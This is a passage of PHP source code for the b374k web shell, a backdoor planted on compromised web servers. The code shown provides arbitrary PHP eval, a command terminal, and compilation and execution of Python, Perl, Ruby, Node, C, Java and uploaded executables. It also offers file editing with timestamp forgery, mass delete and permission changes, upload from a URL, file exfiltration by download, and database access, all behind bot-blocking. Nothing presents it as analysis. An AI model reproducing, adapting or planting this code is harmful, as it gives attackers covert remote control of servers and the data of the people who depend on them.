  749.         <select id='massAction' class='colSpan'>
  750.         <option disabled selected>Action</option>
  751.         <option>cut</option>
  752.         <option>copy</option>
  753.         <option>paste</option>
  754.         <option>delete</option>
  755.         <option disabled>------------</option>
  756.         <option>chmod</option>
  757.         <option>chown</option>
  758.         <option>touch</option>
  759.         <option disabled>------------</option>
  760.         <option>extract (tar)</option>
  761.         <option>extract (tar.gz)</option>
  762.         <option>extract (zip)</option>
  763.         <option disabled>------------</option>
  764.         <option>compress (tar)</option>
  765.         <option>compress (tar.gz)</option>
  766.         <option>compress (zip)</option>
  767.         <option disabled>------------</option>
  768.         </select>
  769.         </td><td colspan='".$colspan."'></td></tr>
  770.         <tr><td></td><td colspan='".++$colspan."'>".$totalFiles." file(s), ".$totalFolders." Folder(s)<span class='xplSelected'></span></td></tr>
  771.         ";
  772.         $output .= "</tfoot></table>";
  773.         return $output;
  774.     }
  775. }
  776.  
  777. if(!function_exists('eval_get_supported')){
  778.     function eval_get_supported(){
  779.         $eval_supported = array();
  780.        
  781.         $eval_supported[] = "php";
  782.  
  783.         $check = strtolower(execute("python -h"));
  784.         if(strpos($check,"usage")!==false) $eval_supported[] = "python";
  785.  
  786.         $check = strtolower(execute("perl -h"));
  787.         if(strpos($check,"usage")!==false) $eval_supported[] = "perl";
  788.  
  789.         $check = strtolower(execute("ruby -h"));
  790.         if(strpos($check,"usage")!==false) $eval_supported[] = "ruby";
  791.  
  792.         $check = strtolower(execute("node -h"));
  793.         if(strpos($check,"usage")!==false) $eval_supported[] = "node";
  794.         else{
  795.             $check = strtolower(execute("nodejs -h"));
  796.             if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs";
  797.         }
  798.  
  799.         $check = strtolower(execute("gcc --help"));
  800.         if(strpos($check,"usage")!==false) $eval_supported[] = "gcc";
  801.  
  802.         $check = strtolower(execute("java -help"));
  803.         if(strpos($check,"usage")!==false){
  804.             $check = strtolower(execute("javac -help"));
  805.             if(strpos($check,"usage")!==false) $eval_supported[] = "java";
  806.         }
  807.  
  808.         return implode(",", $eval_supported);
  809.     }
  810. }
  811.  
  812. if(!function_exists('eval_go')){
  813.     function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){
  814.         $res = "";
  815.         $output = "";
  816.         if($evalOptions!="") $evalOptions = $evalOptions." ";
  817.         if($evalArguments!="") $evalArguments = " ".$evalArguments;
  818.  
  819.         if($evalType=="php"){
  820.             ob_start();
  821.             eval($evalCode);
  822.             $res = ob_get_contents();
  823.             ob_end_clean();
  824.             return $res;
  825.         }
  826.         elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){
  827.             $tmpdir = get_writabledir();
  828.             chdir($tmpdir);
  829.  
  830.             $res .= "Using dir : ".$tmpdir;
  831.             if(is_writable($tmpdir)){
  832.                 $res .= " (writable)\n";
  833.                 $uniq = substr(md5(time()),0,8);
  834.                 $filename = $evalType.$uniq;
  835.                 $path = $filename;
  836.                 $res .= "Temporary file : ".$path;
  837.                 if(write_file($path, $evalCode)){
  838.                     $res .= " (ok)\n";
  839.                     $res .= "Setting permissions : 0755";
  840.                     if(chmod($path, 0755)){
  841.                         $res .= " (ok)\n";
  842.                         $cmd = $evalType." ".$evalOptions.$path.$evalArguments;
  843.                         $res .= "Execute : ".$cmd."\n";
  844.                         $output = execute($cmd);
  845.                     }
  846.                     else $res .= " (failed)\n";
  847.  
  848.                     $res .= "Deleting temporary file : ".$path;
  849.                     if(unlink($path)) $res .= " (ok)\n";
  850.                     else $res .= " (failed)\n";
  851.                 }
  852.                 else $res .= " (failed)\n";
  853.             }
  854.             else $res .= " (not writable)\n";
  855.  
  856.             $res .= "Finished...";
  857.             return $res."{[|b374k|]}".$output;
  858.         }
  859.         elseif($evalType=="gcc"){
  860.             $tmpdir = get_writabledir();
  861.             chdir($tmpdir);
  862.  
  863.             $res .= "Using dir : ".$tmpdir;
  864.             if(is_writable($tmpdir)){
  865.                 $res .= " (writable)\n";
  866.                 $uniq = substr(md5(time()),0,8);
  867.                 $filename = $evalType.$uniq.".c";
  868.                 $path = $filename;
  869.                 $res .= "Temporary file : ".$path;
  870.                 if(write_file($path, $evalCode)){
  871.                     $res .= " (ok)\n";
  872.                     $ext = (is_win())? ".exe":".out";
  873.                     $pathres = $filename.$ext;
  874.                     $evalOptions = "-o ".$pathres." ".$evalOptions;
  875.                     $cmd = "gcc ".$evalOptions.$path;
  876.                     $res .= "Compiling : ".$cmd;
  877.                     $res .= execute($cmd);
  878.                     if(is_file($pathres)){
  879.                         $res .= " (ok)\n";
  880.                         $res .= "Setting permissions : 0755";
  881.                         if(chmod($pathres, 0755)){
  882.                             $res .= " (ok)\n";
  883.                             $cmd = $pathres.$evalArguments;
  884.                             $res .= "Execute : ".$cmd."\n";
  885.                             $output = execute($cmd);
  886.                         }
  887.                         else $res .= " (failed)\n";
  888.                         $res .= "Deleting temporary file : ".$pathres;
  889.                         if(unlink($pathres)) $res .= " (ok)\n";
  890.                         else $res .= " (failed)\n";
  891.                     }
  892.                     else $res .= " (failed)\n";
  893.                     $res .= "Deleting temporary file : ".$path;
  894.                     if(unlink($path)) $res .= " (ok)\n";
  895.                     else $res .= " (failed)\n";
  896.                 }
  897.                 else $res .= " (failed)\n";
  898.             }
  899.             else $res .= " (not writable)\n";
  900.  
  901.             $res .= "Finished...";
  902.             return $res."{[|b374k|]}".$output;
  903.         }
  904.         elseif($evalType=="java"){
  905.             $tmpdir = get_writabledir();
  906.             chdir($tmpdir);
  907.  
  908.             $res .= "Using dir : ".$tmpdir;
  909.             if(is_writable($tmpdir)){
  910.                 $res .= " (writable)\n";
  911.  
  912.                 if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
  913.                     $classname = trim($r[1]);
  914.                     $filename = $classname;
  915.                 }
  916.                 else{
  917.                     $uniq = substr(md5(time()),0,8);
  918.                     $filename = $evalType.$uniq;
  919.                     $evalCode = "class ".$filename." { ".$evalCode . " } ";
  920.                 }
  921.  
  922.                 $path = $filename.".java";
  923.                 $res .= "Temporary file : ".$path;
  924.                 if(write_file($path, $evalCode)){
  925.                     $res .= " (ok)\n";
  926.                     $cmd = "javac ".$evalOptions.$path;
  927.                     $res .= "Compiling : ".$cmd;
  928.                     $res .= execute($cmd);
  929.                     $pathres = $filename.".class";
  930.                     if(is_file($pathres)){
  931.                         $res .= " (ok)\n";
  932.                         $res .= "Setting permissions : 0755";
  933.                         if(chmod($pathres, 0755)){
  934.                             $res .= " (ok)\n";
  935.                             $cmd = "java ".$filename.$evalArguments;
  936.                             $res .= "Execute : ".$cmd."\n";
  937.                             $output = execute($cmd);
  938.                         }
  939.                         else $res .= " (failed)\n";
  940.                         $res .= "Deleting temporary file : ".$pathres;
  941.                         if(unlink($pathres)) $res .= " (ok)\n";
  942.                         else $res .= " (failed)\n";
  943.                     }
  944.                     else $res .= " (failed)\n";
  945.                     $res .= "Deleting temporary file : ".$path;
  946.                     if(unlink($path)) $res .= " (ok)\n";
  947.                     else $res .= " (failed)\n";
  948.                 }
  949.                 else $res .= " (failed)\n";
  950.             }
  951.             else $res .= " (not writable)\n";
  952.  
  953.             $res .= "Finished...";
  954.             return $res."{[|b374k|]}".$output;
  955.         }
  956.         elseif($evalType=="executable"){
  957.             $tmpdir = get_writabledir();
  958.             chdir($tmpdir);
  959.  
  960.             $res .= "Using dir : ".$tmpdir;
  961.             if(is_writable($tmpdir)){
  962.                 $res .= " (writable)\n";
  963.                 $uniq = substr(md5(time()),0,8);
  964.                 $filename = $evalType.$uniq.".exe";
  965.                 $path = $filename;
  966.                 $res .= "Temporary file : ".$path;
  967.                 if(write_file($path, $evalCode)){
  968.                     $res .= " (ok)\n";
  969.                     $cmd = $path.$evalArguments;
  970.                     $res .= "Execute : ".$cmd."\n";
  971.                     $output = execute($cmd);
  972.  
  973.                     $res .= "Deleting temporary file : ".$path;
  974.                     if(unlink($path)) $res .= " (ok)\n";
  975.                     else $res .= " (failed)\n";
  976.                 }
  977.                 else $res .= " (failed)\n";
  978.             }
  979.             else $res .= " (not writable)\n";
  980.  
  981.             $res .= "Finished...";
  982.             return $res."{[|b374k|]}".$output;
  983.         }
  984.         return false;
  985.     }
  986. }
  987.  
  988. if(!function_exists('output')){
  989.     function output($str){
  990.         $error = @ob_get_contents();
  991.         @ob_end_clean();
  992.         header("Content-Type: text/plain");
  993.         header("Cache-Control: no-cache");
  994.         header("Pragma: no-cache");
  995.         echo $str;
  996.         die();
  997.     }
  998. }
  999. block_bot();
  1000. auth();
  1001. chdir(get_cwd());
  1002. $nav = get_nav(get_cwd());
  1003. $p = array_map("rawurldecode", get_post());
  1004. $cwd = html_safe(get_cwd());
  1005. $GLOBALS['module'] = array();
  1006.  
  1007. $explorer_content = "";
  1008. if(isset($p['viewEntry'])){
  1009.     $path = trim($p['viewEntry']);
  1010.     if(is_file($path)){
  1011.         $dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR;
  1012.         setcookie("cwd", $dirname);
  1013.         chdir($dirname);
  1014.         $nav = get_nav($dirname);
  1015.         $cwd = html_safe($dirname);
  1016.         $explorer_content = view_file($path, "auto");
  1017.     }
  1018.     elseif(is_dir($path)){
  1019.         $path = realpath($path).DIRECTORY_SEPARATOR;
  1020.         setcookie("cwd", $path);
  1021.         chdir($path);
  1022.         $nav = get_nav($path);
  1023.         $cwd = html_safe($path);
  1024.         $explorer_content = show_all_files($path);
  1025.     }
  1026. }
  1027. else $explorer_content = show_all_files(get_cwd());
  1028.  
  1029. $GLOBALS['module']['explorer']['id'] = "explorer";
  1030. $GLOBALS['module']['explorer']['title'] = "Explorer";
  1031. $GLOBALS['module']['explorer']['js_ontabselected'] = "";
  1032. $GLOBALS['module']['explorer']['content'] = $explorer_content;
  1033.  
  1034. $GLOBALS['module']['terminal']['id'] = "terminal";
  1035. $GLOBALS['module']['terminal']['title'] = "Terminal";
  1036. $GLOBALS['module']['terminal']['js_ontabselected'] = "
  1037. if((!portableMode) && ($('#terminalOutput').html()=='')) $('#terminalInput').focus();";
  1038. $GLOBALS['module']['terminal']['content'] = "<pre id='terminalOutput'></pre><table id='terminalPrompt'><tr><td class='colFit'><span id='terminalCwd' class='strong'>".get_cwd()."&gt;</span</td><td id='terminalCommand'><input type='text' id='terminalInput' class='floatLeft' spellcheck='false'></td></tr></table>";
  1039.  
  1040.  
  1041. $GLOBALS['module']['eval']['id'] = "eval";
  1042. $GLOBALS['module']['eval']['title'] = "Eval";
  1043. $GLOBALS['module']['eval']['js_ontabselected'] = "
  1044. if((!portableMode) && ($('#evalOutput').html()=='You can also press ctrl+enter to submit')) $('#evalInput').focus();";
  1045. $GLOBALS['module']['eval']['content'] = "
  1046. <table class='boxtbl'>
  1047. <thead>
  1048.     <tr><th colspan='4'><p class='boxtitle'>Eval</p></th></tr>
  1049. </thead>
  1050. <tbody>
  1051.     <tr><td colspan='4'><textarea id='evalInput' spellcheck='false' style='height:140px;min-height:140px;'></textarea></td></tr>
  1052.    
  1053.     <tr id='evalAdditional'><td colspan='4'>
  1054.         <input type='text' id='evalOptions' value='Options/Switches' spellcheck='false' onkeydown=\"trap_enter(event, 'eval_go');\">
  1055.         <input type='text' id='evalArguments' value='Arguments' spellcheck='false' onkeydown=\"trap_enter(event, 'eval_go');\">
  1056.     </td></tr>
  1057.    
  1058.     <tr>
  1059.         <td style='width:144px;'>
  1060.             <select id='evalType'>
  1061.                
  1062.             </select>
  1063.         </td>
  1064.         <td colspan='3'>
  1065.             <span id='evalSubmit' style='width:120px;' class='button' onclick=\"eval_go();\">run</span>
  1066.         </td>
  1067.     </tr>
  1068.    
  1069.     <tr><td colspan='4'><pre id='evalOutput'>You can also press ctrl+enter to submit</pre></td</tr>
  1070. </tbody>
  1071. </table>
  1072. ";
  1073.  
  1074. $res = "";
  1075. if(isset($p['cd'])){
  1076.     $path = $p['cd'];
  1077.     if(trim($path)=='') $path = dirname(__FILE__);
  1078.  
  1079.     $path = realpath($path);
  1080.     if(is_file($path)) $path = dirname($path);
  1081.     if(is_dir($path)){
  1082.         chdir($path);
  1083.         $path = $path.DIRECTORY_SEPARATOR;
  1084.         setcookie("cwd", $path);
  1085.         $res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}";
  1086.         if(isset($p['showfiles'])&&($p['showfiles']=='true')){
  1087.             $res .= show_all_files($path);
  1088.         }
  1089.     }
  1090.     else $res = "error";
  1091.     output($res);
  1092. }
  1093. elseif(isset($p['viewFile']) && isset($p['viewType'])){
  1094.     $path = trim($p['viewFile']);
  1095.     $type = trim($p['viewType']);
  1096.     $preserveTimestamp = trim($p['preserveTimestamp']);
  1097.     if(is_file($path)){
  1098.         $res = view_file($path, $type, $preserveTimestamp);
  1099.     }
  1100.     else $res = "error";
  1101.     output($res);
  1102. }
  1103. elseif(isset($p['renameFile']) && isset($p['renameFileTo'])){
  1104.     $renameFile = trim($p['renameFile']);
  1105.     $renameFileTo = trim($p['renameFileTo']);
  1106.     if(file_exists($renameFile)){
  1107.         if(rename($renameFile, $renameFileTo)){
  1108.             $res = dirname($renameFileTo);
  1109.         }
  1110.         else $res = "error";
  1111.     }
  1112.     else $res = "error";
  1113.     output($res);
  1114. }
  1115. elseif(isset($p['newFolder'])){
  1116.     $newFolder = trim($p['newFolder']);
  1117.     if(mkdir($newFolder)){
  1118.         $res = dirname($newFolder);
  1119.     }
  1120.     else $res = "error";
  1121.     output($res);
  1122. }
  1123. elseif(isset($p['newFile'])){
  1124.     $newFile = trim($p['newFile']);
  1125.     if(touch($newFile)){
  1126.         $res = dirname($newFile);
  1127.     }
  1128.     else $res = "error";
  1129.     output($res);
  1130. }
  1131. elseif(isset($p['delete'])){
  1132.     $path = trim($p['delete']);
  1133.     $dirname = dirname($path);
  1134.     if(is_file($path)){
  1135.         if(unlink($path)) $res = $dirname;
  1136.     }
  1137.     elseif(is_dir($path)){
  1138.         if(rmdirs($path)>0) $res = $dirname;
  1139.     }
  1140.     else $res = "error";
  1141.     if(file_exists($path)) $res = "error";
  1142.     output($res);
  1143. }
  1144. elseif(isset($p['editType'])&&isset($p['editFilename'])&&isset($p['editInput'])&&isset($p['preserveTimestamp'])){
  1145.     $editFilename = trim($p['editFilename']);
  1146.     $editInput = trim($p['editInput']);
  1147.     $editType = trim($p['editType']);
  1148.     $preserveTimestamp = trim($p['preserveTimestamp']);
  1149.     $time = filemtime($editFilename);
  1150.     if($editType=='hex') $editInput = pack("H*" , preg_replace("/\s/","", $editInput));
  1151.     if(write_file($editFilename, $editInput)){
  1152.         $res = $editFilename;
  1153.         if($preserveTimestamp=='true') touch($editFilename, $time);
  1154.     }
  1155.     else $res = "error";
  1156.     output($res);
  1157. }
  1158. elseif(isset($p['findType'])){
  1159.     $findType = trim($p['findType']);
  1160.     $findPath = trim($p['findPath']);
  1161.     $findName = trim($p['findName']);
  1162.     $findNameRegex = trim($p['findNameRegex']);
  1163.     $findNameInsensitive = trim($p['findNameInsensitive']);
  1164.     $findContent = trim($p['findContent']);
  1165.     $findContentRegex = trim($p['findContentRegex']);
  1166.     $findContentInsensitive = trim($p['findContentInsensitive']);
  1167.     $findReadable = trim($p['findReadable']);
  1168.     $findWritable = trim($p['findWritable']);
  1169.     $findExecutable = trim($p['findExecutable']);
  1170.  
  1171.     $candidate = get_all_files($findPath);
  1172.     if($findType=='file') $candidate = array_filter($candidate, "is_file");
  1173.     elseif($findType=='folder') $candidate = array_filter($candidate, "is_dir");
  1174.     else $res = "error";
  1175.  
  1176.     foreach($candidate as $k){
  1177.         if(($findType=="file")||($findType=="folder")){
  1178.             if(!empty($findName)){
  1179.                 if($findNameRegex=="true"){
  1180.                     $case = ($findNameInsensitive=="true")? "i":"";
  1181.                     if(!preg_match("/".$findName."/".$case, basename($k))){
  1182.                         $candidate = array_diff($candidate, array($k));
  1183.                     }
  1184.                 }
  1185.                 else{
  1186.                     $check = false;
  1187.                     if($findNameInsensitive=="true"){
  1188.                         $check = strpos(strtolower(basename($k)), strtolower($findName))===false;
  1189.                     }
  1190.                     else{
  1191.                         $check = strpos(basename($k), $findName)===false;
  1192.                     }
  1193.  
  1194.                     if($check){
  1195.                         $candidate = array_diff($candidate, array($k));
  1196.                     }
  1197.                 }
  1198.             }
  1199.         }
  1200.         if($findType=="file"){
  1201.             if(!empty($findContent)){
  1202.                 $content = read_file($k);
  1203.                 if($findContentRegex=="true"){
  1204.                     $case = ($findContentInsensitive=="true")? "i":"";
  1205.                     if(!preg_match("/".$findContent."/".$case, $content)){
  1206.                         $candidate = array_diff($candidate, array($k));
  1207.                     }
  1208.                 }
  1209.                 else{
  1210.                     $check = false;
  1211.                     if($findContentInsensitive=="true"){
  1212.                         $check = strpos(strtolower($content), strtolower($findContent))===false;
  1213.                     }
  1214.                     else{
  1215.                         $check = strpos($content, $findContent)===false;
  1216.                     }
  1217.                     if($check){
  1218.                         $candidate = array_diff($candidate, array($k));
  1219.                     }
  1220.                 }
  1221.             }
  1222.         }
  1223.     }
  1224.  
  1225.     foreach($candidate as $k){
  1226.         if($findReadable=="true"){
  1227.             if(!is_readable($k)) $candidate = array_diff($candidate, array($k));
  1228.         }
  1229.         if($findWritable=="true"){
  1230.             if(!is_writable($k)) $candidate = array_diff($candidate, array($k));
  1231.         }
  1232.         if($findExecutable=="true"){
  1233.             if(!is_executable($k)) $candidate = array_diff($candidate, array($k));
  1234.         }
  1235.     }
  1236.  
  1237.     if(count($candidate)>0){
  1238.         $res = "";
  1239.         foreach($candidate as $k){
  1240.             $res .= "<p><span class='strong'>&gt;</span>&nbsp;<a data-path='".html_safe($k)."' onclick='view_entry(this);'>".html_safe($k)."</a></p>";
  1241.         }
  1242.     }
  1243.     else $res = "";
  1244.     output($res);
  1245. }
  1246. elseif(isset($p['ulType'])){
  1247.     $ulSaveTo = trim($p['ulSaveTo']);
  1248.     $ulFilename = trim($p['ulFilename']);
  1249.  
  1250.     if($p['ulType']=='comp'){
  1251.         $ulFile = $_FILES['ulFile'];
  1252.         if(empty($ulFilename)) $ulFilename = $ulFile['name'];
  1253.  
  1254.         if(is_uploaded_file($ulFile['tmp_name'])){
  1255.             if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
  1256.             $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
  1257.             if(move_uploaded_file($ulFile['tmp_name'], $newfile)){
  1258.                 $res = "<span class='strong'>&gt;</span>&nbsp;<a data-path='".html_safe($newfile)."' onclick='view_entry(this);'>".html_safe($newfile)."</a>&nbsp;( 100% )";
  1259.             }
  1260.             else $res = "error";
  1261.         }
  1262.         else $res = "error";
  1263.     }
  1264.     elseif($p['ulType']=='url'){
  1265.         $ulFile = trim($p['ulFile']);
  1266.         if(empty($ulFilename)) $ulFilename = basename($ulFile);
  1267.         if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
  1268.         $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
  1269.  
  1270.         if(download($ulFile, $newfile)){
  1271.             $res = "<span class='strong'>&gt;</span>&nbsp;<a data-path='".html_safe($newfile)."' onclick='view_entry(this);'>".html_safe($newfile)."</a>&nbsp;( 100% )";
  1272.         }
  1273.         else $res = "error";
  1274.     }
  1275.     else $res = "error";
  1276.     output($res);
  1277. }
  1278. elseif(isset($p['download'])){
  1279.     $file = trim($p['download']);
  1280.     if(is_file($file)){
  1281.         header("Content-Type: application/octet-stream");
  1282.         header('Content-Transfer-Encoding: binary');
  1283.         header("Content-length: ".filesize($file));
  1284.         header("Cache-Control: no-cache");
  1285.         header("Pragma: no-cache");
  1286.         header("Content-disposition: attachment; filename=\"".basename($file)."\";");
  1287.         $handler = fopen($file,"rb");
  1288.         while(!feof($handler)){
  1289.             print(fread($handler, 1024*8));
  1290.             @ob_flush();
  1291.             @flush();
  1292.         }
  1293.         fclose($handler);
  1294.         die();
  1295.     }
  1296. }
  1297. elseif(isset($p['multimedia'])){
  1298.     $file = trim($p['multimedia']);
  1299.     $mime_list = get_resource('mime');
  1300.     $mime = "";
  1301.     $file_ext_pos = strrpos($file, ".");
  1302.     if($file_ext_pos!==false){
  1303.         $file_ext = trim(substr($file, $file_ext_pos),".");
  1304.         if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
  1305.             $mime = $res[1];
  1306.         }
  1307.     }
  1308.  
  1309.     if(is_file($file)){
  1310.         header("Content-Type: ".$mime);
  1311.         header('Content-Transfer-Encoding: binary');
  1312.         header("Content-length: ".filesize($file));
  1313.         echo "data:".$mime.";base64,".base64_encode(read_file($file));
  1314.         die();
  1315.     }
  1316. }
  1317. elseif(isset($p['massType'])&&isset($p['massBuffer'])&&isset($p['massPath'])&&isset($p['massValue'])){
  1318.     $massType = trim($p['massType']);
  1319.     $massBuffer = trim($p['massBuffer']);
  1320.     $massPath = realpath($p['massPath']).DIRECTORY_SEPARATOR;
  1321.     $massValue = trim($p['massValue']);
  1322.     $counter = 0;
  1323.  
  1324.     $massBufferArr = explode("\n", $massBuffer);
  1325.     if(($massType=='tar')||($massType=='targz')||($massType=='zip')){
  1326.         if(compress($massType, $massValue, $massBufferArr)){
  1327.             $counter++;
  1328.             return $counter;
  1329.         }
  1330.     }
  1331.     else{
  1332.         foreach($massBufferArr as $k){
  1333.             $path = trim($k);
  1334.             if(file_exists($path)){
  1335.                 $preserveTimestamp = filemtime($path);
  1336.                 if($massType=='delete'){
  1337.                     if(is_file($path)){
  1338.                         if(unlink($path)) $counter++;
  1339.                     }
  1340.                     elseif(is_dir($path)){
  1341.                         if(rmdirs($path)>0) $counter++;
  1342.                     }
  1343.                 }
  1344.                 elseif($massType=='cut'){
  1345.                     $dest = $massPath.basename($path);
  1346.                     if(rename($path, $dest)){
  1347.                         $counter++;
  1348.                         touch($dest, $preserveTimestamp);
  1349.                     }
  1350.                 }
  1351.                 elseif($massType=='copy'){
  1352.                     $dest = $massPath.basename($path);
  1353.                     if(is_dir($path)){
  1354.                         if(copys($path, $dest)>0) $counter++;
  1355.                     }
  1356.                     elseif(is_file($path)){
  1357.                         if(copy($path, $dest)) $counter++;
  1358.                     }
  1359.                 }
  1360.                 elseif(($massType=='untar')||($massType=='untargz')||($massType=='unzip')){
  1361.                     if(decompress($massType, $path, $massValue)){
  1362.                         $counter++;
  1363.                         return $counter;
  1364.                     }
  1365.                 }
  1366.                 elseif(!empty($massValue)){
  1367.                     if($massType=='chmod'){
  1368.                         if(chmod($path, octdec($massValue))) $counter++;
  1369.                     }
  1370.                     elseif($massType=='chown'){
  1371.                         if(chown($path, $massValue)) $counter++;
  1372.                     }
  1373.                     elseif($massType=='touch'){
  1374.                         if(touch($path, strtotime($massValue))) $counter++;
  1375.                     }
  1376.                 }
  1377.             }
  1378.         }
  1379.     }
  1380.     if($counter>0) output($counter);
  1381.     output('error');
  1382. }
  1383. elseif(isset($p['viewFileorFolder'])){
  1384.     $entry = $p['viewFileorFolder'];
  1385.     if(is_file($entry)) output('file');
  1386.     elseif(is_dir($entry)) output('folder');
  1387.     output('error');
  1388. }
  1389. elseif(isset($p['terminalInput'])){
  1390.     output(html_safe(execute($p['terminalInput'])));
  1391. }
  1392. elseif(isset($p['evalInput']) && isset($p['evalType'])){
  1393.     $evalInput = $p['evalInput'];
  1394.     $evalOptions = (isset($p['evalOptions']))? $p['evalOptions']:"";
  1395.     $evalArguments = (isset($p['evalArguments']))? $p['evalArguments']:"";
  1396.     $evalType = $p['evalType'];
  1397.  
  1398.     error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
  1399.     @ini_set('html_errors','0');
  1400.     @ini_set('display_errors','1');
  1401.     @ini_set('display_startup_errors','1');
  1402.  
  1403.     $res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments);
  1404.     if($res===false) $res == "error";
  1405.     output(html_safe($res));
  1406. }
  1407. elseif(isset($p['evalGetSupported'])){
  1408.     $res = eval_get_supported();
  1409.     output($res);
  1410. }
  1411. $GLOBALS['module']['convert']['id'] = "convert";
  1412. $GLOBALS['module']['convert']['title'] = "Convert";
  1413. $GLOBALS['module']['convert']['js_ontabselected'] = "
  1414. if((!portableMode) && ($('#decodeResult').children().length==1)) $('#decodeStr').focus();";
  1415. $GLOBALS['module']['convert']['content'] = "
  1416. <table class='boxtbl'>
  1417. <thead>
  1418.     <tr><th colspan='2'><p class='boxtitle'>Convert</p></th></tr>
  1419. </thead>
  1420. <tbody>
  1421.     <tr><td colspan='2'><textarea style='height:140px;min-height:140px;' id='decodeStr'></textarea></td></tr>
  1422.     <tr><td colspan='2'><span class='button' onclick='decode_go();'>convert</span></td></tr>
  1423. </tbody>
  1424. <tfoot id='decodeResult'><tr><td colspan='2'>You can also press ctrl+enter to submit</td></tr></tfoot>
  1425. </table>";
  1426.  
  1427. if(!function_exists('decode')){
  1428.     function decode($str){
  1429.         $res = "";
  1430.         $length = (int) strlen($str);
  1431.  
  1432.         $res .= decode_line("md5", md5($str), "input");
  1433.         $res .= decode_line("sha1", sha1($str), "input");
  1434.  
  1435.         $res .= decode_line("base64 encode", base64_encode($str), "textarea");
  1436.         $res .= decode_line("base64 decode", base64_decode($str), "textarea");
  1437.  
  1438.  
  1439.         $res .= decode_line("hex to string", @pack("H*" , $str), "textarea");
  1440.         $res .= decode_line("string to hex", bin2hex($str), "textarea");
  1441.  
  1442.         $ascii = "";
  1443.         for($i=0; $i<$length; $i++){
  1444.             $ascii .= ord(substr($str,$i,1))." ";
  1445.         }
  1446.         $res .= decode_line("ascii char", trim($ascii), "textarea");
  1447.  
  1448.         $res .= decode_line("reversed", strrev($str), "textarea");
  1449.         $res .= decode_line("lowercase", strtolower($str), "textarea");
  1450.         $res .= decode_line("uppercase", strtoupper($str), "textarea");
  1451.  
  1452.         $res .= decode_line("urlencode", urlencode($str), "textarea");
  1453.         $res .= decode_line("urldecode", urldecode($str), "textarea");
  1454.         $res .= decode_line("rawurlencode", rawurlencode($str), "textarea");
  1455.         $res .= decode_line("rawurldecode", rawurldecode($str), "textarea");
  1456.  
  1457.         $res .= decode_line("htmlentities", html_safe($str), "textarea");
  1458.  
  1459.         if(function_exists('hash_algos')){
  1460.             $algos = hash_algos();
  1461.             foreach($algos as $algo){
  1462.                 if(($algo=='md5')||($algo=='sha1')) continue;
  1463.                 $res .= decode_line($algo, hash($algo, $str), "input");
  1464.             }
  1465.         }
  1466.  
  1467.         return $res;
  1468.     }
  1469. }
  1470.  
  1471. if(!function_exists('decode_line')){
  1472.     function decode_line($type, $result, $inputtype){
  1473.         $res = "<tr><td class='colFit'>".$type."</td><td>";
  1474.         if($inputtype=='input'){
  1475.             $res .= "<input type='text' value='".html_safe($result)."' ondblclick='this.select();'>";
  1476.         }
  1477.         else{
  1478.             $res .= "<textarea style='height:80px;min-height:80px;' ondblclick='this.select();'>".html_safe($result)."</textarea>";
  1479.         }
  1480.         return $res;
  1481.     }
  1482. }
  1483.  
  1484. if(isset($p['decodeStr'])){
  1485.     $decodeStr = $p['decodeStr'];
  1486.     output(decode($decodeStr));
  1487. }
  1488. $GLOBALS['module']['database']['id'] = "database";
  1489. $GLOBALS['module']['database']['title'] = "Database";
  1490. $GLOBALS['module']['database']['js_ontabselected'] = "";
  1491. $GLOBALS['module']['database']['content'] = "
  1492. <table class='boxtbl'>
  1493. <thead>
  1494.     <tr><th colspan='3'><p class='boxtitle'>Connect</p></th></tr>
  1495. </thead>
  1496. <tbody>
  1497.     <tr class='dbHostRow'><td style='width:144px' class='dbHostLbl'>Host</td><td colspan='2'><input type='text' id='dbHost' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
  1498.     <tr class='dbUserRow'><td>Username</td><td colspan='2'><input type='text' id='dbUser' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
  1499.     <tr class='dbPassRow'><td>Password</td><td colspan='2'><input type='text' id='dbPass' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
  1500.     <tr class='dbPortRow'><td>Port (Optional)</td><td colspan='2'><input type='text' id='dbPort' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
  1501. </tbody>
  1502. <tfoot>
  1503.     <tr class='dbConnectRow'>
  1504.         <td style='width:144px;'>
  1505.             <select id='dbType'>
  1506.             </select>
  1507.         </td>
  1508.         <td style='width:120px;'><span class='button' onclick=\"db_connect();\">connect</span></td>
  1509.         <td class='dbError'></td>
  1510.     </tr>
  1511.     <tr class='dbQueryRow' style='display:none;'>
  1512.         <td colspan='3'><textarea id='dbQuery' style='min-height:140px;height:140px;'>You can also press ctrl+enter to submit</textarea></td>
  1513.     </tr>
  1514.     <tr class='dbQueryRow' style='display:none;'>
  1515.         <td style='width:120px;'><span class='button' onclick=\"db_run();\">run</span></td>
  1516.         <td style='width:120px;'><span class='button' onclick=\"db_disconnect();\">disconnect</span></td>
  1517.         <td>Separate multiple commands with a semicolon <span class='strong'>(</span> ; <span class='strong'>)</span></td>
  1518.     </tr>
  1519. </tfoot>
  1520. </table>
  1521. <div id='dbBottom' style='display:none;'>
  1522. <br>
  1523. <table class='border' style='padding:0;'><tr><td id='dbNav' class='colFit borderright' style='vertical-align:top;'></td><td id='dbResult' style='vertical-align:top;'></td></tr></table>
  1524. </div>
  1525. ";
  1526.  
  1527. if(!function_exists('sql_connect')){
  1528.     function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){
  1529.         if($sqltype == 'mysql'){
  1530.             if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $sqlpass);
  1531.             elseif(function_exists('mysql_connect')) return @mysql_connect($sqlhost, $sqluser, $sqlpass);
  1532.         }
  1533.         elseif($sqltype == 'mssql'){
  1534.             if(function_exists('sqlsrv_connect')){
